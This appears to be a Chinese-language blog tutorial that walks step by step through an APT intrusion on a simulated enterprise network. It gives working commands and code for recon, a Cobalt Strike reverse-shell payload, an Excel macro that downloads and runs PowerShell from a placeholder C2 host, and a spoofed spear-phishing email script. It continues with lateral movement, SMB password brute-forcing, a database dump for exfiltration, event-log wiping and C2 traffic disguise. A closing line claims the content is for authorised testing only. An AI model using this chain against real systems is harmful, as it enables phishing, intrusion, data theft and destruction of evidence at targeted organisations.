一、APT攻击链的解剖:从架构到破绽
APT(高级持续性攻击)通常以组织或者国家为级别的攻击者为主,目标明确、资源充足且攻击链条复杂。一个典型的APT攻击通常从攻击目标的系统架构开始分析,通过摸排系统内部的关键服务、网络结构和人员操作习惯,寻找可供利用的破绽。本文围绕某真实场景的APT攻击案例展开,深度剖析攻击链条、工具使用及绕过技巧。
目标环境模拟为某企业内部系统架构:
- 前端服务:基于 Nginx 的负载均衡与 OpenResty 模块
- 中间层:运行 Ruby on Rails 的核心业务系统
- 后端数据库:PostgreSQL 集群
- 内网环境:AD域控、Windows Server 配置文件共享
我们以攻击者的视角从信息收集到权限提升,逐步展开攻破行动。
---
二、情报收集与入口探测:破冰阶段的策略
目标域名与子域枚举
APT攻击的第一步是精准情报收集。通过 域名枚举 和 子域探测,寻找可能暴露在外的服务入口。 工具使用推荐:Sublist3r 和 Assetfinder。
<pre><code class="language-shell"># 使用 Sublist3r 枚举子域 sublist3r -d target-domain.com -o subdomains.txt
使用 Assetfinder 进一步探索
assetfinder --subs-only target-domain.com >> subdomains.txt</code></pre>
接着对枚举出来的子域进行服务扫描和指纹识别:
<pre><code class="language-shell"># Masscan 扫描端口开放情况 masscan -p1-65535 target-ip --rate 1000 --output-format binary --output-file ports.scan
将 Masscan 扫描结果转化为文本:
masscan --read-file ports.scan -oL ports.txt
使用 Nmap 对开放端口进行服务探测
nmap -p80,443 -sV -A -iL ports.txt -oN service_scan.txt</code></pre>
从扫描结果中发现某个子域 api.target-domain.com 开放了 443 的 HTTPS 服务,且运行的是 Nginx 1.18.0 和 OpenResty 1.15.8。
---
人员社工信息挖掘
APT攻击的核心就是针对具体人员的社工铓鱼。在 LinkedIn 和 GitHub 上搜索公司的员工信息,尤其是高权限员工的邮箱地址或个人技术博客。
<pre><code class="language-shell"># 使用 GHunt 枚举 Gmail 地址相关信息(支持其他邮箱) ghunt email [email protected]</code></pre>
我们锁定目标为 CTO邮箱:[email protected],继续编写定制的鱼叉式钓鱼邮件。邮件内容伪装成公司内部的业务通知,附带一个伪装成 Excel 文件的恶意载荷。
---
三、鱼叉式钓鱼攻击:载荷构造的艺术

构造恶意载荷
攻击思路:利用 Excel 宏代码加载远程恶意脚本。 我们使用经典的 VBA 脚本攻击,结合 Cobalt Strike 的远控平台,生成载荷:
<pre><code class="language-shell"># Cobalt Strike 生成恶意载荷 generate -profile http-stager.csprofile -payload windows/meterpreter/reverse_https -output payload.exe</code></pre>
然后将生成的恶意脚本嵌入 Excel 宏:
<pre><code class="language-vba">Sub Auto_Open() Dim objShell As Object Set objShell = CreateObject("WScript.Shell") objShell.Run "powershell.exe -ExecutionPolicy Bypass -NoProfile -Command \"IEX(New-Object Net.WebClient).DownloadString('http://your-c2-server/payload.ps1')\"" End Sub</code></pre>

---
钓鱼邮件发送
邮件通过伪装的 SMTP 服务器发送,以下是 Ruby 脚本实现:
<pre><code class="language-ruby">require 'net/smtp'
message = <<MESSAGE_END From: IT Security <[email protected]> To: CTO <[email protected]> Subject: Important Business Update
Dear CTO,
Please find the attached file with updates on the upcoming project. Make sure to review it by EOD.
Best regards, Internal IT Team
MESSAGE_END
Net::SMTP.start('smtp.target-domain.com', 25) do |smtp| smtp.send_message message, '[email protected]', '[email protected]' end</code></pre>
通过诱骗目标打开 Excel 文件,恶意代码将隐秘加载我们的远控载荷。
---

四、内网横向移动:从一个点到整个网络
获取初始访问权限
目标机器成功执行恶意载荷后,Cobalt Strike 接收到目标主机的 Meterpreter 会话。我们尝试枚举 内网资源:
<pre><code class="language-shell"># 在 Meterpreter 下执行内网扫描 run autoroute -s 192.168.0.0/24 run arp_scanner run portscan -p 1-65535 192.168.0.1</code></pre>
---
域用户枚举与权限提升
目标主机为 Windows Server,我们利用 SharpHound 收集域控环境信息:
<pre><code class="language-shell"># SharpHound 域控数据收集 SharpHound.exe --CollectionMethods All --ZipFileName loot.zip</code></pre>
将数据导入 BloodHound 分析工具后发现域管理员账户 [email protected] 的密码存在弱口令问题。利用 BruteSpray 进行爆破:
<pre><code class="language-shell"># 爆破 SMB 服务口令 brutespray -f smb_scan.txt -U users.txt -P passwords.txt -o smb_brute_results</code></pre>
爆破成功后,我们直接登录域控服务器。
---
五、数据窃取与清理:终极目标与撤离
数据窃取脚本
将 Postgres 数据库 dump 到本地:
<pre><code class="language-shell"># Ruby 脚本用于数据库导出 require 'pg'
conn = PG.connect(host: "db.target-domain.com", dbname: "production", user: "admin", password: "password") conn.exec("COPY (SELECT * FROM users) TO '/tmp/users.csv' CSV HEADER;")</code></pre>
通过 Meterpreter 将导出的数据文件传回攻击者服务器。
---
清理痕迹
在域控服务器上清除操作痕迹:
<pre><code class="language-shell"># 删除事件日志 wevtutil clear-log application wevtutil clear-log security wevtutil clear-log system
清除 Meterpreter 临时文件
del /s /q C:\Windows\Temp\*</code></pre>
---
六、反侦察与流量伪装技巧
为了避免被 EDR 或流量分析工具检测,我们使用 HTTP流量伪装 技术,将 C2 通信伪装成普通的 Web 请求:
<pre><code class="language-shell"># 配置 Cobalt Strike 的 HTTP 伪装通信文件 http-stager { set uri "/update-status"; set headers "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"; set host "api.target-domain.com"; }</code></pre>
通过这种方式,流量隐藏在正常的业务流量中,降低被检测的概率。
---
七、个人经验总结
- 情报收集是关键:APT攻击的成功率与前期的信息收集质量直接相关。
- 工具组合使用:Ruby 适合写定制化脚本,Shell 用于快速执行,结合 Cobalt Strike 等平台形成完整的链条。
- 隐蔽性优先:流量伪装与免杀技术是绕过检测的核心能力。
- 权限提升技巧:利用暴力破解和误配置问题,快速获取高权限账户。
本文案例仅供合法授权的渗透测试学习参考,请勿用于非法用途。